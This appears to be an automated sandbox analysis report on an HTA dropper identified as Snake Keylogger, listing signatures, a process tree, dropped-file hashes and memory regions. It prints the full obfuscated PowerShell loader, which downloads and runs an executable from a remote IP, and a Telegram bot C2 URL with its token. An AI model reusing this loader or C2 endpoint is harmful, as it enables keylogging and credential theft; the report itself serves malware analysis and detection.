Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-10-2024 15:17

General

  • Target

    seethebesthtmlthingsreadyforgetme.hta

  • Size

    129KB

  • MD5

    03140c0995d8db21fe4fb2f030322615

  • SHA1

    0199286b876a0d3e896b1830ff024555374e51f3

  • SHA256

    95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

  • SHA512

    9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9

  • SSDEEP

    96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebesthtmlthingsreadyforgetme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
      "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4944
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bry4mfiy\bry4mfiy.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC217.tmp" "c:\Users\Admin\AppData\Local\Temp\bry4mfiy\CSC72D13885176425B931193F75022F6.TMP"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4824
      • C:\Users\Admin\AppData\Roaming\taskhostw.exe
        "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:4632
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4472
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 748
          4⤵
          • Program crash
          PID:3576
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4632 -ip 4632
    1⤵
      PID:1836

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowERShELL.Exe.log

      Filesize

      2KB

      MD5

      3d086a433708053f9bf9523e1d87a4e8

      SHA1

      b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

      SHA256

      6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

      SHA512

      931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      cba907e0560185c9357cad53316a3372

      SHA1

      807056d5dab6a1b3857768f3eb93ad1f370fee2f

      SHA256

      6209917cbc8415489c8e098c11bca5bfacbc695dc147b5921a7b51b4afd5a4ba

      SHA512

      2d6bc691cc8130ad51ca172753d711f1a2dfab982261153202184dd52002c917d8f4fcf5bb73f1cb5e55313b0c139445a273e43dcd9a17d7d6fca69aea15c71c

    • C:\Users\Admin\AppData\Local\Temp\RESC217.tmp

      Filesize

      1KB

      MD5

      8eb5aa942eb12957d022d366d42c7c7f

      SHA1

      b8e8b0ee5f668a96f684e8ea10892971d7c38fb6

      SHA256

      0c33fe17a9bb0b020850dc75d9dd8ea5c41b34175813416234f132a10bd75ec1

      SHA512

      49fa4577b13c7ef2fc0f1df320de97ae3840b6ff60d2d04b740ca37c5e3040f4c02d9405556c5174b885b0c3f4bd6d1fa777bda190eb96423d7f78538c5f7eb4

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gckki1gc.2pn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\bry4mfiy\bry4mfiy.dll

      Filesize

      3KB

      MD5

      0fbdb48efd960141037c997733ef19a6

      SHA1

      cff096efd2df4fa8f10bb1a7753ef633b3165bc5

      SHA256

      3953672cd93fd13e44d62cb1b84cab8c1d148cf9db7de2660cd34ac2656707ec

      SHA512

      d33211441d08d99cf79c1b6e26052cc630d517646799852b1b0c6f684d8a09417e4443b5fe4b8b0168d7a376d03917971672526803509177ada828fdbb5bab55

    • C:\Users\Admin\AppData\Roaming\taskhostw.exe

      Filesize

      935KB

      MD5

      daaa8ac3995fb610eda2e52a639d191f

      SHA1

      2a26a631b79878c461248d5c03a33fb312aedb05

      SHA256

      e82aa9f8f95f53d306db35e28e6fdd4dd16eba7d7437971f929d3cf5470267b7

      SHA512

      808c18d514439aead5759bd3d1bfbfb1b31cfb6c03a147db8525aa8f7dec30fb4b73a12b4e4310f97b9917f6513594d917184434f49ff9a5ee1870c46ae75157

    • \??\c:\Users\Admin\AppData\Local\Temp\bry4mfiy\CSC72D13885176425B931193F75022F6.TMP

      Filesize

      652B

      MD5

      c36728e0405a43f5f51baec3c37ceac0

      SHA1

      c39f894924df8e5c1a12cbf57c90c64dd56c92a4

      SHA256

      5a0625fecc2e6a12c33bf4a0939e621df28f3ee12d70f1057b17eadb77ee7cc4

      SHA512

      73a6e454704854d87505717446034d80cc5ee26d5e2265a549a5aed279f0b53fe2e6c19e845b40cba1aeaa2a5cd70a948340a4b244c2e4de4ec3b53e8f135a56

    • \??\c:\Users\Admin\AppData\Local\Temp\bry4mfiy\bry4mfiy.0.cs

      Filesize

      474B

      MD5

      0e03065f874d09489b23d564815660e8

      SHA1

      005cc140f8d9ad68a7863aee4da445e466c98379

      SHA256

      9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

      SHA512

      a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

    • \??\c:\Users\Admin\AppData\Local\Temp\bry4mfiy\bry4mfiy.cmdline

      Filesize

      369B

      MD5

      220d3b9ac49d5ae15af2f1b8cafe283c

      SHA1

      44b44f039d52ab0e60520a4f8bebdd136f994750

      SHA256

      5a8ff8739e56b627af06e312d83247ce575dc681ec4aa951bfaf757debceb930

      SHA512

      a70a9fc16165cb980386833deabe4a2ea7d5aad77bdb6b9daf3df51792ea2424b0862f8da003759a737f4d2ae1b8359775f6c2a1d95770fdd9eebd291ecf9d61

    • memory/4472-93-0x0000000005B50000-0x0000000005BA0000-memory.dmp

      Filesize

      320KB

    • memory/4472-92-0x0000000004980000-0x0000000004A1C000-memory.dmp

      Filesize

      624KB

    • memory/4472-91-0x0000000000190000-0x00000000001B6000-memory.dmp

      Filesize

      152KB

    • memory/4472-94-0x0000000005D70000-0x0000000005F32000-memory.dmp

      Filesize

      1.8MB

    • memory/4472-95-0x0000000005C40000-0x0000000005CD2000-memory.dmp

      Filesize

      584KB

    • memory/4472-96-0x0000000005BF0000-0x0000000005BFA000-memory.dmp

      Filesize

      40KB

    • memory/4876-73-0x0000000006EB0000-0x0000000006ED2000-memory.dmp

      Filesize

      136KB

    • memory/4876-6-0x00000000053A0000-0x0000000005406000-memory.dmp

      Filesize

      408KB

    • memory/4876-1-0x0000000000D50000-0x0000000000D86000-memory.dmp

      Filesize

      216KB

    • memory/4876-3-0x0000000071550000-0x0000000071D00000-memory.dmp

      Filesize

      7.7MB

    • memory/4876-2-0x0000000004D70000-0x0000000005398000-memory.dmp

      Filesize

      6.2MB

    • memory/4876-4-0x0000000071550000-0x0000000071D00000-memory.dmp

      Filesize

      7.7MB

    • memory/4876-5-0x0000000004C30000-0x0000000004C52000-memory.dmp

      Filesize

      136KB

    • memory/4876-7-0x00000000054C0000-0x0000000005526000-memory.dmp

      Filesize

      408KB

    • memory/4876-88-0x0000000071550000-0x0000000071D00000-memory.dmp

      Filesize

      7.7MB

    • memory/4876-17-0x0000000005700000-0x0000000005A54000-memory.dmp

      Filesize

      3.3MB

    • memory/4876-18-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

      Filesize

      120KB

    • memory/4876-74-0x0000000007E60000-0x0000000008404000-memory.dmp

      Filesize

      5.6MB

    • memory/4876-0-0x000000007155E000-0x000000007155F000-memory.dmp

      Filesize

      4KB

    • memory/4876-72-0x0000000071550000-0x0000000071D00000-memory.dmp

      Filesize

      7.7MB

    • memory/4876-19-0x0000000005B20000-0x0000000005B6C000-memory.dmp

      Filesize

      304KB

    • memory/4876-65-0x0000000006070000-0x0000000006078000-memory.dmp

      Filesize

      32KB

    • memory/4876-71-0x000000007155E000-0x000000007155F000-memory.dmp

      Filesize

      4KB

    • memory/4944-49-0x0000000007C90000-0x0000000007CAA000-memory.dmp

      Filesize

      104KB

    • memory/4944-29-0x00000000077B0000-0x00000000077E2000-memory.dmp

      Filesize

      200KB

    • memory/4944-40-0x0000000007790000-0x00000000077AE000-memory.dmp

      Filesize

      120KB

    • memory/4944-41-0x0000000007800000-0x00000000078A3000-memory.dmp

      Filesize

      652KB

    • memory/4944-50-0x0000000007BC0000-0x0000000007BC8000-memory.dmp

      Filesize

      32KB

    • memory/4944-42-0x0000000007F80000-0x00000000085FA000-memory.dmp

      Filesize

      6.5MB

    • memory/4944-30-0x000000006DE10000-0x000000006DE5C000-memory.dmp

      Filesize

      304KB

    • memory/4944-48-0x0000000007B80000-0x0000000007B94000-memory.dmp

      Filesize

      80KB

    • memory/4944-47-0x0000000007B70000-0x0000000007B7E000-memory.dmp

      Filesize

      56KB

    • memory/4944-46-0x0000000007B40000-0x0000000007B51000-memory.dmp

      Filesize

      68KB

    • memory/4944-45-0x0000000007BD0000-0x0000000007C66000-memory.dmp

      Filesize

      600KB

    • memory/4944-44-0x00000000079A0000-0x00000000079AA000-memory.dmp

      Filesize

      40KB

    • memory/4944-43-0x0000000007940000-0x000000000795A000-memory.dmp

      Filesize

      104KB